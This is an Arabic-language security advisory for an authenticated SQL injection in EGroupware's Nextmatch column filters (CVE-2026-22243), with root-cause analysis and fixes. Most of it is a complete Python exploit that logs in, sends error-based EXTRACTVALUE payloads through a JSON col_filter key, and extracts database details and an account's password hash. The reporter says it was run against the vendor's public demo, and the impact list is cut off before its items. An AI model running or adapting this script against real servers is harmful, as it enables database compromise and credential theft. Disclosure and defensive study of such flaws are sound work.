
CVE-2026-22243 - EGroupware يحتوي على ثغرة حقن SQL في معالجة فلاتر Nextmatch
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-22243 |
| الخطورة | عالية |
| الاستشارة الأمنية | عرض الاستشارة |
| اكتشفها | Lukasz Rybak |
حقن SQL حرج بعد المصادقة في معالجة مرشحات أداة Nextmatch
توجد ثغرة حرجة من نوع حقن SQL في المكونات الأساسية لـ EGroupware، وتحديدًا في معالجة مرشحات Nextmatch. تسمح هذه الثغرة للمهاجمين المصادق عليهم بحقن أوامر SQL عشوائية في جملة WHERE الخاصة باستعلامات قاعدة البيانات. ويتم تحقيق ذلك من خلال استغلال مشكلة تلاعب بالأنواع في PHP حيث يحوّل فك ترميز JSON السلاسل الرقمية إلى أعداد صحيحة، متجاوزًا فحص is_int() الأمني الذي يستخدمه التطبيق.
تحليل السبب الجذري
تكمن الثغرة في الطريقة التي تعالج بها طبقة تجريد قاعدة البيانات (Api\Db) وفئات التخزين عالية المستوى (Api\Storage\Base, infolog_so) مصفوفة col_filter المستخدمة في أدوات "Nextmatch".
يحاول التطبيق التحقق من الإدخال باستخدام is_int($key) لتحديد ما إذا كان مفتاح المصفوفة يمثل جزءًا خامًا من SQL يجب الوثوق به. ومع ذلك، عند معالجة طلبات POST المستندة إلى JSON، يقوم json_decode في PHP تلقائيًا بتحويل المفاتيح الرقمية النصية (مثل "0") إلى أعداد صحيحة أصلية.
وبالتالي، يمكن للمهاجم إرسال حمولة JSON تحتوي على مصفوفة ترابطية بمفاتيح رقمية. يفسّر التطبيق هذه المفاتيح على أنها أعداد صحيحة (يعيد is_int القيمة true) ويُلحق القيم المرتبطة بها — التي تحتوي على SQL خبيث — مباشرةً بالاستعلام.
مواقع الكود المعرض للخطر
sources/egroupware/api/src/Db.php (سطر 1776 تقريبًا)
الطريقة: column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (سطر 1134 تقريبًا)
الطريقة: parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
لقد تحققت من هذه الثغرة على مثيل Docker محلي وأكدتها (للقراءة فقط) على مثيل العرض العام لديكم (demo.egroupware.net).
نص برمجي آلي للاستغلال: يقوم النص البرمجي التالي بأتمتة تسجيل الدخول واستخراج exec_id وسرقة البيانات عبر حقن SQL القائم على الأخطاء.
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
دليل التحقق على demo.egroupware.net:
نفّذت النص البرمجي ضد العرض العام لديكم لتأكيد قابلية الاستغلال في بيئة شبيهة ببيئة الإنتاج (للقراءة فقط).

الأثر: يمكن للمهاجمين ذوي الصلاحيات المنخفضة اختراق قاعدة البيانات بالكامل. وهذا يسمح بما يلي:
1. التحقق من الإدخال (القائمة البيضاء)
لا تعتمد فقط على is_int() في القرارات الأمنية عند التعامل مع الإدخالات الخارجية، خاصة بيانات JSON حيث يمكن أن تكون المفاتيح سلاسل رقمية. نفّذ قائمة بيضاء (قائمة مسموحات) صارمة بأسماء الأعمدة المسموح بها للتصفية في أدوات Nextmatch. إذا لم يكن المفتاح/العمود في القائمة البيضاء، ارفض الطلب.
2. ربط المعاملات تأكد من ربط جميع قيم المرشحات كمعاملات (عبارات مُجهزة مسبقًا) بدلًا من دمجها مباشرةً في سلسلة SQL.
3. فحص صارم للأنواع
عند معالجة إدخال JSON، تأكد من فحص المفاتيح بدقة مقابل الأنواع المتوقعة (مثل استخدام === للمقارنة الصارمة أو filter_var) قبل استخدامها في منطق توليد SQL.
أبلغ بها Łukasz Rybak
تم الكشف عن هذا CVE بمسؤولية وفقًا لممارسات الكشف المنسق عن الثغرات الأمنية. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.